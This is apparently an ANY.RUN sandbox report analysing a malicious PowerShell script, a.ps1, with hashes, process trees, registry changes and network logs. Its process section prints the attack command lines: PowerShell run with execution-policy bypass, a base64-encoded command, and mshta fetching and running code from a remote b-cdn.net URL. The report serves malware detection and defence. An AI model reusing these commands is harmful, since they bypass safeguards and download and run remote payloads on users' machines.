Malware analysis a.ps1 Malicious activity | ANY.RUN

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File name:	a.ps1
Full analysis:	https://app.any.run/tasks/63fed4e8-5a8e-40c0-8151-f2a0b3aac1b9
Verdict:	Malicious activity
Analysis date:	August 27, 2024, 11:49:01
OS:	Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME:	text/plain
File info:	ASCII text, with CRLF line terminators
MD5:	AB4C8F4DD917020D5D3E32A9D2B9E1EC
SHA1:	0E6F5C9D659B1AEC8C97EE6A3413BBA2BE36B4BA
SHA256:	2F7740FD2019571DF10C2DAFF74D0163740AA27B806CCCA0260B64C44197B2E0
SSDEEP:	3:VSJJLNyIFLBF+jBO/tmt55akqizkVkoTMRk8nbPROkJ+Eg9qYyn:sny0Lis854kqizkVkiQfOkUEXn

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Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 1184)
- Scans artifacts that could help determine the target
  - mshta.exe (PID: 5164)
SUSPICIOUS
- Starts POWERSHELL.EXE for commands execution
  - powershell.exe (PID: 1184)
- Application launched itself
  - powershell.exe (PID: 1184)
- BASE64 encoded PowerShell command has been detected
  - powershell.exe (PID: 1184)
- Base64-obfuscated command line is found
  - powershell.exe (PID: 1184)
INFO
- Checks proxy server information
  - mshta.exe (PID: 5164)
- Reads Internet Explorer settings
  - mshta.exe (PID: 5164)

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No data.

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Total processes

131

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

1076

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

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powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

1184

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\a.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3964

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

5164

"C:\WINDOWS\system32\mshta.exe" https://bidvertiser.b-cdn.net/smart1

C:\Windows\System32\mshta.exe

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powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft (R) HTML Application host

Version:

11.00.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll

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Total events

12 774

Read events

12 763

Write events

Delete events

Modification events


(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	ProxyBypass
Value: 1
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	IntranetName
Value: 1
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 1
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 0
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:	write	Name:	CachePrefix
Value:
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:	write	Name:	CachePrefix
Value: Cookie:
(PID) Process:	(5164) mshta.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:	write	Name:	CachePrefix
Value: Visited:

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
1184	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mtdazbt2.wy3.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1184	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\O933JOH853R7Q5145ST7.temp		binary
		MD5:0D971793A2E8ACDD819C127E55C788F8	SHA256:EFE1597250E637CA8FB4F43FFF479DA0D4F86E22175B9C3A267DBE1D83B1AFC6
3964	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_thqbp4e1.lcg.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1184	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yhj3m05t.pga.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1184	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF129e0d.TMP		binary
		MD5:D040F64E9E7A2BB91ABCA5613424598E	SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
1184	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms		binary
		MD5:0D971793A2E8ACDD819C127E55C788F8	SHA256:EFE1597250E637CA8FB4F43FFF479DA0D4F86E22175B9C3A267DBE1D83B1AFC6
3964	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_i3llk2ar.qoa.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3964	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:D3D91B69963D7CDA2728DB21CE3152CA	SHA256:4520D48C51A6971C1B7008817A72EB390F14B7139A5A1C721655814520282C53

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1436	svchost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
4344	SIHClient.exe	GET	200	88.221.169.152:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
4344	SIHClient.exe	GET	200	88.221.169.152:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
6012	svchost.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
6248	RUXIMICS.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
2120	MoUsoCoreWorker.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6012	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
3260	svchost.exe	40.115.3.253:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
2120	MoUsoCoreWorker.exe	20.44.239.154:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	SG	whitelisted
1436	svchost.exe	40.126.32.72:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
1436	svchost.exe	192.229.221.95:80	ocsp.digicert.com	EDGECAST	US	whitelisted
4344	SIHClient.exe	40.127.169.103:443	slscr.update.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	40.127.240.158 4.231.128.59 20.44.239.154	whitelisted
google.com	216.58.206.78	whitelisted
bidvertiser.b-cdn.net	127.0.0.1	whitelisted
client.wns.windows.com	40.115.3.253	whitelisted
login.live.com	40.126.32.72 40.126.32.74 20.190.160.14 20.190.160.17 40.126.32.136 40.126.32.76 40.126.32.133 40.126.32.68	whitelisted
ocsp.digicert.com	192.229.221.95	whitelisted
slscr.update.microsoft.com	40.127.169.103	whitelisted
www.microsoft.com	88.221.169.152	whitelisted
fe3cr.delivery.mp.microsoft.com	13.85.23.206	whitelisted

Threats

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General Info

a.ps1

AB4C8F4DD917020D5D3E32A9D2B9E1EC

0E6F5C9D659B1AEC8C97EE6A3413BBA2BE36B4BA

2F7740FD2019571DF10C2DAFF74D0163740AA27B806CCCA0260B64C44197B2E0

3:VSJJLNyIFLBF+jBO/tmt55akqizkVkoTMRk8nbPROkJ+Eg9qYyn:sny0Lis854kqizkVkiQfOkUEXn

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Bypass execution policy to execute commands

Scans artifacts that could help determine the target

SUSPICIOUS

Starts POWERSHELL.EXE for commands execution

Application launched itself

BASE64 encoded PowerShell command has been detected

Base64-obfuscated command line is found

INFO

Checks proxy server information

Reads Internet Explorer settings

Malware configuration

Static information

Video and screenshots

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Information

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